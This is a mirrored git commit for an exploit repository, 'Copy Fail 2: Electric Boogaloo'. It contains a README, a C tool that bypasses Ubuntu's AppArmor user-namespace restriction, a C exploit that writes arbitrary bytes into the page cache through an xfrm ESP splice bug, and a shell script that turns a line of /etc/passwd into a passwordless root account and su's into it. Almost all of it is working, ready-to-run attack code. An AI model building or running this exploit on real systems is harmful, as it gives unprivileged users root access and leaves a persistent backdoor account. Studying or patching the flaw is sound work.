mirror of
https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo.git
synced 2026-05-16 10:50:09 +00:00
Copy Fail 2: Electric Boogaloo
This commit is contained in:
commit
b7336f670b
4 changed files with 512 additions and 0 deletions
53
README.md
Normal file
53
README.md
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
# Copy Fail 2: Electric Boogaloo
|
||||||
|
|
||||||
|
Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast
|
||||||
|
path. Page-cache write into any readable file. Overwrites a nologin
|
||||||
|
line in `/etc/passwd` with `sick::0:0:...:/:/bin/bash` and `su`s into
|
||||||
|
it. Same class as Copy Fail (CVE-2026-31431), different subsystem.
|
||||||
|
|
||||||
|
Bug: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
sudo apt install -y libssl-dev gcc
|
||||||
|
gcc -O2 -Wall copyfail2.c -o copyfail2 -lcrypto
|
||||||
|
gcc -O2 -Wall aa-rootns.c -o aa-rootns
|
||||||
|
|
||||||
|
## Run
|
||||||
|
|
||||||
|
./run.sh # install + drop into root shell
|
||||||
|
./run.sh --clean # revert /etc/passwd via the same primitive
|
||||||
|
|
||||||
|
Adds passwordless uid-0 user `sick` to `/etc/passwd`, then `exec su - sick`.
|
||||||
|
PAM `nullok` accepts the empty password silently — no input needed. The
|
||||||
|
`sick` line stays in `/etc/passwd` — re-run drops straight back into root.
|
||||||
|
State for `--clean` is stashed at `/var/tmp/.cf2.state`.
|
||||||
|
|
||||||
|
No sudo. esp4 / xfrm_user / xfrm_algo autoload via the userns netlink
|
||||||
|
path.
|
||||||
|
|
||||||
|
## Tested
|
||||||
|
|
||||||
|
| distro | kernel | result |
|
||||||
|
|--------------------|----------------------|------------------|
|
||||||
|
| Ubuntu 22.04 LTS | 5.15.0-176-generic | not vulnerable* |
|
||||||
|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
|
||||||
|
| Debian 13 | 6.12.74 | root |
|
||||||
|
| Arch | 6.19.11-arch1-1 | root |
|
||||||
|
| Fedora 43 | 6.19.14-200.fc43 | root |
|
||||||
|
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
|
||||||
|
|
||||||
|
*MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the
|
||||||
|
bug's reach.
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
Hyunwoo Kim (imv4bel) and Kuan-Ting Chen (h3xrabbit): reported, tested,
|
||||||
|
authored the upstream fix.
|
||||||
|
|
||||||
|
Steffen Klassert: IPsec maintainer, posted the fix to netdev/net.git.
|
||||||
|
|
||||||
|
Brad Spengler (@spendergrsec / grsecurity): called it copyfail-class
|
||||||
|
before anyone else read the commit.
|
||||||
|
|
||||||
|
Theori / Xint: original Copy Fail (CVE-2026-31431).
|
||||||
97
aa-rootns.c
Normal file
97
aa-rootns.c
Normal file
|
|
@ -0,0 +1,97 @@
|
||||||
|
/*
|
||||||
|
* aa-rootns — defeat Ubuntu apparmor_restrict_unprivileged_userns
|
||||||
|
*
|
||||||
|
* stage 0: change_onexec(crun); execv self — enter unconfined profile
|
||||||
|
* stage 1: change_onexec(chrome); execv self — double-hop, optional
|
||||||
|
* stage 2: unshare(CLONE_NEWUSER); write uid_map / gid_map; capset I=P;
|
||||||
|
* raise all caps into Ambient; execvp target.
|
||||||
|
*
|
||||||
|
* Build: gcc -O2 -Wall -o aa-rootns aa-rootns.c
|
||||||
|
* Use: ./aa-rootns -p # proof of caps
|
||||||
|
* ./aa-rootns -- id # run command in the userns
|
||||||
|
* ./aa-rootns -n -- cmd # also unshare(NEWNET) before exec
|
||||||
|
*
|
||||||
|
* No funny business. Standard libc, no eBPF, no JIT, no kernel module.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <sys/prctl.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <linux/capability.h>
|
||||||
|
|
||||||
|
static int change_onexec(const char *p) {
|
||||||
|
int fd = open("/proc/self/attr/exec", O_WRONLY);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
char b[256]; int n = snprintf(b, sizeof b, "exec %s", p);
|
||||||
|
ssize_t r = write(fd, b, n); int e = errno;
|
||||||
|
close(fd); errno = e; return r == n ? 0 : -1;
|
||||||
|
}
|
||||||
|
static void wfile(const char *p, const char *c) {
|
||||||
|
int fd = open(p, O_WRONLY); if (fd < 0) return;
|
||||||
|
(void)!write(fd, c, strlen(c)); close(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define TAG "AA-ROOTNS-STAGE-"
|
||||||
|
|
||||||
|
static int stage1(int ac, char **av) {
|
||||||
|
if (change_onexec("chrome") < 0) return perror("chrome"), 1;
|
||||||
|
av[1] = (char *)TAG "2"; execv("/proc/self/exe", av);
|
||||||
|
return perror("execv s2"), 1;
|
||||||
|
}
|
||||||
|
static int stage2(int ac, char **av) {
|
||||||
|
int newnet = 0;
|
||||||
|
int proof = 0;
|
||||||
|
int sep = -1;
|
||||||
|
for (int i = 2; i < ac; i++) {
|
||||||
|
if (!strcmp(av[i], "--")) { sep = i; break; }
|
||||||
|
if (!strcmp(av[i], "-n")) newnet = 1;
|
||||||
|
else if (!strcmp(av[i], "-p")) proof = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
uid_t u = getuid(); gid_t g = getgid();
|
||||||
|
int flags = CLONE_NEWUSER;
|
||||||
|
if (newnet) flags |= CLONE_NEWNET;
|
||||||
|
if (unshare(flags) < 0) return perror("unshare"), 1;
|
||||||
|
wfile("/proc/self/setgroups", "deny");
|
||||||
|
char m[64];
|
||||||
|
snprintf(m, sizeof m, "0 %u 1", u); wfile("/proc/self/uid_map", m);
|
||||||
|
snprintf(m, sizeof m, "0 %u 1", g); wfile("/proc/self/gid_map", m);
|
||||||
|
(void)!setresuid(0, 0, 0); (void)!setresgid(0, 0, 0);
|
||||||
|
|
||||||
|
struct __user_cap_header_struct h = { _LINUX_CAPABILITY_VERSION_3, 0 };
|
||||||
|
struct __user_cap_data_struct d[2] = {0};
|
||||||
|
syscall(SYS_capget, &h, d);
|
||||||
|
d[0].inheritable = d[0].permitted;
|
||||||
|
d[1].inheritable = d[1].permitted;
|
||||||
|
syscall(SYS_capset, &h, d);
|
||||||
|
for (int c = 0; c < 64; c++)
|
||||||
|
prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, c, 0, 0);
|
||||||
|
|
||||||
|
if (proof) {
|
||||||
|
printf("uid=%d euid=%d caps eff=0x%llx perm=0x%llx\n",
|
||||||
|
getuid(), geteuid(),
|
||||||
|
((unsigned long long)d[1].effective << 32) | d[0].effective,
|
||||||
|
((unsigned long long)d[1].permitted << 32) | d[0].permitted);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *def[] = { (char *)"/bin/bash", NULL };
|
||||||
|
char **t = (sep > 0 && sep + 1 < ac) ? &av[sep + 1] : def;
|
||||||
|
execvp(t[0], t); return perror("execvp"), 1;
|
||||||
|
}
|
||||||
|
int main(int ac, char **av) {
|
||||||
|
if (ac >= 2 && !strcmp(av[1], TAG "1")) return stage1(ac, av);
|
||||||
|
if (ac >= 2 && !strcmp(av[1], TAG "2")) return stage2(ac, av);
|
||||||
|
if (change_onexec("crun") < 0) { perror("crun"); return 1; }
|
||||||
|
char **a = calloc(ac + 2, sizeof *a);
|
||||||
|
a[0] = av[0]; a[1] = (char *)TAG "1";
|
||||||
|
for (int i = 1; i < ac; i++) a[i + 1] = av[i];
|
||||||
|
execv("/proc/self/exe", a);
|
||||||
|
return perror("execv s1"), 1;
|
||||||
|
}
|
||||||
187
copyfail2.c
Normal file
187
copyfail2.c
Normal file
|
|
@ -0,0 +1,187 @@
|
||||||
|
// copyfail2.c - kernel page-cache write via xfrm ESP MSG_SPLICE_PAGES bug
|
||||||
|
// run inside: aa-rootns -n -- ./copyfail2 [target-file]
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/udp.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
#ifndef UDP_ENCAP
|
||||||
|
#define UDP_ENCAP 100
|
||||||
|
#endif
|
||||||
|
#ifndef UDP_ENCAP_ESPINUDP
|
||||||
|
#define UDP_ENCAP_ESPINUDP 2
|
||||||
|
#endif
|
||||||
|
#include <openssl/evp.h>
|
||||||
|
|
||||||
|
#define SPI 0xdeadbeef
|
||||||
|
#define ENC_PORT 4500
|
||||||
|
#define IVLEN 8
|
||||||
|
#define ICVLEN 16
|
||||||
|
#define AES_KEYLEN 16
|
||||||
|
#define SALT_LEN 4
|
||||||
|
#define KEYTOTAL (AES_KEYLEN + SALT_LEN) // 20 bytes for rfc4106
|
||||||
|
|
||||||
|
#ifndef SPLICE_F_MORE
|
||||||
|
#define SPLICE_F_MORE 0x4
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static const unsigned char AEAD_KEY[KEYTOTAL] = {
|
||||||
|
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
|
||||||
|
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
|
||||||
|
0x10,0x11,0x12,0x13 // last 4 = salt
|
||||||
|
};
|
||||||
|
|
||||||
|
static void die(const char *m) { perror(m); exit(1); }
|
||||||
|
|
||||||
|
// AES-CTR keystream byte at offset 'off' (in bytes from start of ciphertext)
|
||||||
|
// rfc4106 counter starts at 1; OpenSSL EVP_aes_128_gcm with 12B nonce handles that.
|
||||||
|
static int aes_gcm_keystream_byte(const unsigned char *key16,
|
||||||
|
const unsigned char *nonce12,
|
||||||
|
size_t off, unsigned char *out)
|
||||||
|
{
|
||||||
|
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
|
||||||
|
if (!ctx) return -1;
|
||||||
|
int len;
|
||||||
|
if (!EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL)) goto bad;
|
||||||
|
if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL)) goto bad;
|
||||||
|
if (!EVP_EncryptInit_ex(ctx, NULL, NULL, key16, nonce12)) goto bad;
|
||||||
|
unsigned char zeros[256] = {0};
|
||||||
|
size_t need = off + 1;
|
||||||
|
unsigned char buf[256];
|
||||||
|
while (need) {
|
||||||
|
size_t chunk = need < sizeof(zeros) ? need : sizeof(zeros);
|
||||||
|
if (!EVP_EncryptUpdate(ctx, buf, &len, zeros, chunk)) goto bad;
|
||||||
|
if (chunk == need) {
|
||||||
|
*out = buf[chunk - 1];
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
need -= chunk;
|
||||||
|
}
|
||||||
|
bad:
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
if (argc < 4) {
|
||||||
|
fprintf(stderr, "usage: %s <target-file> <byte-offset> <want-plain-byte>\n", argv[0]);
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
const char *target = argv[1];
|
||||||
|
size_t tboff = strtoul(argv[2], 0, 0); // byte offset in file
|
||||||
|
unsigned char want_plain = (unsigned char)strtoul(argv[3], 0, 0);
|
||||||
|
|
||||||
|
// 1. read original byte
|
||||||
|
int tfd = open(target, O_RDONLY);
|
||||||
|
if (tfd < 0) die("open target");
|
||||||
|
unsigned char tbyte;
|
||||||
|
if (pread(tfd, &tbyte, 1, tboff) != 1) die("pread target byte");
|
||||||
|
unsigned char want_ks = tbyte ^ want_plain;
|
||||||
|
printf("[+] target=%s off=%zu ciphertext=0x%02x want_plain=0x%02x need_ks=0x%02x\n",
|
||||||
|
target, tboff, tbyte, want_plain, want_ks);
|
||||||
|
if (tbyte == want_plain) { printf("[!] target byte already equals desired value\n"); return 0; }
|
||||||
|
|
||||||
|
// 2. brute-force IV: keystream byte 0 (since ciphertext is 1 byte at counter-1 offset 0)
|
||||||
|
unsigned char IV[IVLEN] = {0};
|
||||||
|
unsigned char nonce[12];
|
||||||
|
memcpy(nonce, AEAD_KEY + AES_KEYLEN, SALT_LEN);
|
||||||
|
unsigned char ks_byte = 0;
|
||||||
|
uint64_t ivv;
|
||||||
|
for (ivv = 1; ivv < (1ULL<<32); ivv++) {
|
||||||
|
memcpy(IV, &ivv, IVLEN);
|
||||||
|
memcpy(nonce + SALT_LEN, IV, IVLEN);
|
||||||
|
if (aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte)) {
|
||||||
|
fprintf(stderr, "openssl error\n"); return 1;
|
||||||
|
}
|
||||||
|
if (ks_byte == want_ks) break;
|
||||||
|
}
|
||||||
|
if (ks_byte != want_ks) { fprintf(stderr, "no IV found\n"); return 1; }
|
||||||
|
printf("[+] IV found (after %lu trials): ", (unsigned long)ivv);
|
||||||
|
for (int i=0;i<IVLEN;i++) printf("%02x", IV[i]);
|
||||||
|
printf(" keystream[0]=0x%02x → plain=0x%02x\n", ks_byte, tbyte ^ ks_byte);
|
||||||
|
|
||||||
|
// 3. install xfrm state via shell (we are inside aa-rootns -n)
|
||||||
|
char keyhex[KEYTOTAL*2 + 3] = "0x";
|
||||||
|
for (int i=0;i<KEYTOTAL;i++) sprintf(keyhex + 2 + i*2, "%02x", AEAD_KEY[i]);
|
||||||
|
char cmd[1024];
|
||||||
|
snprintf(cmd, sizeof cmd,
|
||||||
|
"ip link set lo up ; "
|
||||||
|
"ip xfrm state flush ; "
|
||||||
|
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp spi 0x%08x "
|
||||||
|
"encap espinudp %d %d 0.0.0.0 aead 'rfc4106(gcm(aes))' %s 128 "
|
||||||
|
"replay-window 32",
|
||||||
|
SPI, ENC_PORT, ENC_PORT, keyhex);
|
||||||
|
if (system(cmd) != 0) { fprintf(stderr, "xfrm install failed\n"); return 1; }
|
||||||
|
|
||||||
|
// 4. open recv UDP socket bound to :4500 with UDP_ENCAP=ESPINUDP
|
||||||
|
int rs = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (rs < 0) die("recv sock");
|
||||||
|
int encap = UDP_ENCAP_ESPINUDP;
|
||||||
|
if (setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0)
|
||||||
|
die("UDP_ENCAP setsockopt");
|
||||||
|
struct sockaddr_in la = {.sin_family = AF_INET,
|
||||||
|
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
|
||||||
|
.sin_port = htons(ENC_PORT)};
|
||||||
|
if (bind(rs, (struct sockaddr*)&la, sizeof la) < 0) die("bind recv");
|
||||||
|
|
||||||
|
// 5. craft attacker pages (ESP header + ICV) in a backing file
|
||||||
|
char atkpath[64];
|
||||||
|
snprintf(atkpath, sizeof atkpath, "/tmp/cf2.atk.%d", (int)getpid());
|
||||||
|
unlink(atkpath);
|
||||||
|
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
|
||||||
|
if (afd < 0) die("open atk");
|
||||||
|
unsigned char esp_hdr[16];
|
||||||
|
*(uint32_t*)(esp_hdr + 0) = htonl(SPI);
|
||||||
|
*(uint32_t*)(esp_hdr + 4) = htonl(1); // SeqNum
|
||||||
|
memcpy(esp_hdr + 8, IV, IVLEN);
|
||||||
|
if (pwrite(afd, esp_hdr, 16, 0) != 16) die("pwrite esp_hdr");
|
||||||
|
unsigned char icv[16] = {0};
|
||||||
|
if (pwrite(afd, icv, 16, 4096) != 16) die("pwrite icv");
|
||||||
|
fsync(afd);
|
||||||
|
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
|
||||||
|
int afd2 = open(atkpath, O_RDONLY);
|
||||||
|
if (afd2 < 0) die("reopen atk");
|
||||||
|
unlink(atkpath);
|
||||||
|
|
||||||
|
// 6. splice three ranges into pipe
|
||||||
|
int pfd[2];
|
||||||
|
if (pipe(pfd) < 0) die("pipe");
|
||||||
|
fcntl(pfd[0], F_SETPIPE_SZ, 1<<20);
|
||||||
|
fcntl(pfd[1], F_SETPIPE_SZ, 1<<20);
|
||||||
|
|
||||||
|
loff_t off = 0;
|
||||||
|
if (splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice esp_hdr");
|
||||||
|
loff_t toff = tboff;
|
||||||
|
if (splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE) != 1) die("splice target byte");
|
||||||
|
loff_t ioff = 4096;
|
||||||
|
if (splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice icv");
|
||||||
|
|
||||||
|
// 7. splice pipe → UDP socket (kernel sets MSG_SPLICE_PAGES)
|
||||||
|
int ss = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (ss < 0) die("send sock");
|
||||||
|
struct sockaddr_in da = la;
|
||||||
|
if (connect(ss, (struct sockaddr*)&da, sizeof da) < 0) die("connect");
|
||||||
|
ssize_t sent = splice(pfd[0], NULL, ss, NULL, 16+1+16, 0);
|
||||||
|
printf("[+] splice→UDP sent=%zd errno=%d\n", sent, errno);
|
||||||
|
|
||||||
|
usleep(200*1000);
|
||||||
|
unsigned char vbyte;
|
||||||
|
if (pread(tfd, &vbyte, 1, tboff) != 1) die("verify pread");
|
||||||
|
printf("[+] post byte at offset %zu = 0x%02x (was 0x%02x, wanted 0x%02x) match=%s\n",
|
||||||
|
tboff, vbyte, tbyte, want_plain, vbyte == want_plain ? "YES" : "NO");
|
||||||
|
return vbyte == want_plain ? 0 : 1;
|
||||||
|
}
|
||||||
175
run.sh
Normal file
175
run.sh
Normal file
|
|
@ -0,0 +1,175 @@
|
||||||
|
#!/bin/bash
|
||||||
|
# copyfail2 — adds a passwordless uid-0 user "sick" to /etc/passwd and
|
||||||
|
# drops you into its shell. No SUID helper, no auto-restore.
|
||||||
|
#
|
||||||
|
# Overwrites a system /etc/passwd line (mail/games/etc, longest line
|
||||||
|
# with a nologin/false shell) with `sick::0:0:<pad>:/:/bin/bash` —
|
||||||
|
# length-matched, valid 7-field entry, empty password field. PAM
|
||||||
|
# pam_unix.so nullok accepts empty input password.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# ./run.sh install + drop into root shell
|
||||||
|
# ./run.sh --clean undo the install (revert /etc/passwd via the same primitive)
|
||||||
|
|
||||||
|
set -u
|
||||||
|
HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
|
||||||
|
STATE=/var/tmp/.cf2.state
|
||||||
|
NEW_USER=sick
|
||||||
|
PREFIX="${NEW_USER}::0:0:"
|
||||||
|
SUFFIX=":/:/bin/bash"
|
||||||
|
|
||||||
|
red() { printf '\033[31m%s\033[0m\n' "$*" >&2; }
|
||||||
|
green() { printf '\033[32m%s\033[0m\n' "$*"; }
|
||||||
|
blue() { printf '\033[34m=== %s\033[0m\n' "$*"; }
|
||||||
|
|
||||||
|
# Userns harness — try plain unshare first, fall back to aa-rootns.
|
||||||
|
# Probe must actually grant CAP_NET_ADMIN (Ubuntu apparmor_restrict_unprivileged_userns
|
||||||
|
# strips caps but `unshare` itself still returns 0).
|
||||||
|
setup_usns() {
|
||||||
|
if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then
|
||||||
|
USNS=(unshare -U -r -n --)
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then
|
||||||
|
USNS=("$AAR" -n --); return
|
||||||
|
fi
|
||||||
|
if command -v aa-rootns >/dev/null 2>&1; then
|
||||||
|
USNS=("$(command -v aa-rootns)" -n --); return
|
||||||
|
fi
|
||||||
|
if [ ! -x "$HERE/aa-rootns" ] && [ -f "$HERE/aa-rootns.c" ]; then
|
||||||
|
gcc -O2 -Wall "$HERE/aa-rootns.c" -o "$HERE/aa-rootns" \
|
||||||
|
|| { red "build aa-rootns failed"; exit 1; }
|
||||||
|
fi
|
||||||
|
if [ -x "$HERE/aa-rootns" ]; then
|
||||||
|
USNS=("$HERE/aa-rootns" -n --); return
|
||||||
|
fi
|
||||||
|
red "no usable userns harness — install aa-rootns or set apparmor_restrict_unprivileged_userns=0"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
build_helper() {
|
||||||
|
[ -x "$HERE/copyfail2" ] || gcc -O2 -Wall "$HERE/copyfail2.c" -o "$HERE/copyfail2" -lcrypto \
|
||||||
|
|| { red "build copyfail2 failed (need libssl-dev)"; exit 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
flip_range() {
|
||||||
|
# $1 = LINE_OFF, $2 = source string (current bytes), $3 = target string
|
||||||
|
local line_off=$1 src=$2 dst=$3 len=${#2}
|
||||||
|
local i o t off
|
||||||
|
declare -ag FLIPS=()
|
||||||
|
for ((i=0; i<len; i++)); do
|
||||||
|
o="${src:$i:1}"
|
||||||
|
t="${dst:$i:1}"
|
||||||
|
if [ "$o" != "$t" ]; then
|
||||||
|
FLIPS+=("$((line_off + i)):$(printf '0x%02x' "'$t")")
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
for f in "${FLIPS[@]}"; do
|
||||||
|
off=${f%:*} ; t=${f#*:}
|
||||||
|
"${USNS[@]}" "$HERE/copyfail2" /etc/passwd "$off" "$t" >/dev/null
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# ---------- --clean ----------
|
||||||
|
if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then
|
||||||
|
[ -r "$STATE" ] || { red "no state file at $STATE — nothing to clean (or run as the same user that installed)"; exit 1; }
|
||||||
|
# shellcheck disable=SC1090
|
||||||
|
. "$STATE"
|
||||||
|
: "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}"
|
||||||
|
VICTIM_LEN=${#VICTIM_LINE}
|
||||||
|
|
||||||
|
setup_usns
|
||||||
|
build_helper
|
||||||
|
|
||||||
|
CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
|
||||||
|
if [ "$CURRENT" = "$VICTIM_LINE" ]; then
|
||||||
|
green "[+] /etc/passwd already matches original — clearing state file"
|
||||||
|
rm -f "$STATE"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Compute flips
|
||||||
|
declare -a CFLIPS=()
|
||||||
|
for ((i=0; i<VICTIM_LEN; i++)); do
|
||||||
|
o="${CURRENT:$i:1}"
|
||||||
|
t="${VICTIM_LINE:$i:1}"
|
||||||
|
[ "$o" != "$t" ] && CFLIPS+=("$((LINE_OFF + i)):$(printf '0x%02x' "'$t")")
|
||||||
|
done
|
||||||
|
|
||||||
|
blue "Cleanup — revert ${#CFLIPS[@]} bytes at offset $LINE_OFF back to '${VICTIM_LINE%%:*}' line"
|
||||||
|
for f in "${CFLIPS[@]}"; do
|
||||||
|
off=${f%:*} ; t=${f#*:}
|
||||||
|
"${USNS[@]}" "$HERE/copyfail2" /etc/passwd "$off" "$t" >/dev/null
|
||||||
|
done
|
||||||
|
|
||||||
|
if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then
|
||||||
|
red "sick line still present — clean failed"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
NEW=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null)
|
||||||
|
if [ "$NEW" != "$VICTIM_LINE" ]; then
|
||||||
|
red "post-clean line mismatch — manual fix required"
|
||||||
|
echo "expected: $VICTIM_LINE"
|
||||||
|
echo "got: $NEW"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
rm -f "$STATE"
|
||||||
|
green "[+] cleaned — '${VICTIM_LINE%%:*}' line restored, state file removed"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---------- default: install ----------
|
||||||
|
if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then
|
||||||
|
sed -n '2,12p' "$0"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Already installed? Just su.
|
||||||
|
if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then
|
||||||
|
green "[+] '$NEW_USER' already in /etc/passwd"
|
||||||
|
exec su - "$NEW_USER"
|
||||||
|
fi
|
||||||
|
|
||||||
|
setup_usns
|
||||||
|
build_helper
|
||||||
|
|
||||||
|
getent passwd "$NEW_USER" >/dev/null \
|
||||||
|
&& { red "'$NEW_USER' already exists in passwd with non-uid-0 entry — pick a different NEW_USER"; exit 1; }
|
||||||
|
|
||||||
|
# Pick the longest /etc/passwd line whose shell is nologin/false/sync.
|
||||||
|
VICTIM_LINE=$(awk -F: '
|
||||||
|
$NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" ||
|
||||||
|
$NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" {
|
||||||
|
if (length($0) > maxlen) { maxlen = length($0); maxline = $0 }
|
||||||
|
}
|
||||||
|
END { print maxline }
|
||||||
|
' /etc/passwd)
|
||||||
|
[ -n "$VICTIM_LINE" ] || { red "no victim line found in /etc/passwd"; exit 1; }
|
||||||
|
VICTIM_NAME=${VICTIM_LINE%%:*}
|
||||||
|
VICTIM_LEN=${#VICTIM_LINE}
|
||||||
|
|
||||||
|
PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX}))
|
||||||
|
[ "$PAD_LEN" -ge 0 ] \
|
||||||
|
|| { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; }
|
||||||
|
PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X')
|
||||||
|
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"
|
||||||
|
|
||||||
|
LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2)
|
||||||
|
|
||||||
|
# Persist state for --clean before we mutate
|
||||||
|
umask 077
|
||||||
|
{
|
||||||
|
echo "LINE_OFF=$LINE_OFF"
|
||||||
|
printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE"
|
||||||
|
} > "$STATE"
|
||||||
|
|
||||||
|
blue "Stage 1 — overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes) with '$NEW_USER::0:0:<pad>:/:/bin/bash'"
|
||||||
|
flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE"
|
||||||
|
|
||||||
|
blue "Stage 2 — verify"
|
||||||
|
grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; }
|
||||||
|
|
||||||
|
blue "Stage 3 — su - $NEW_USER (empty password via PAM nullok)"
|
||||||
|
green "[i] state saved to $STATE — run './run.sh --clean' to revert"
|
||||||
|
exec su - "$NEW_USER"
|
||||||
Loading…
Add table
Add a link
Reference in a new issue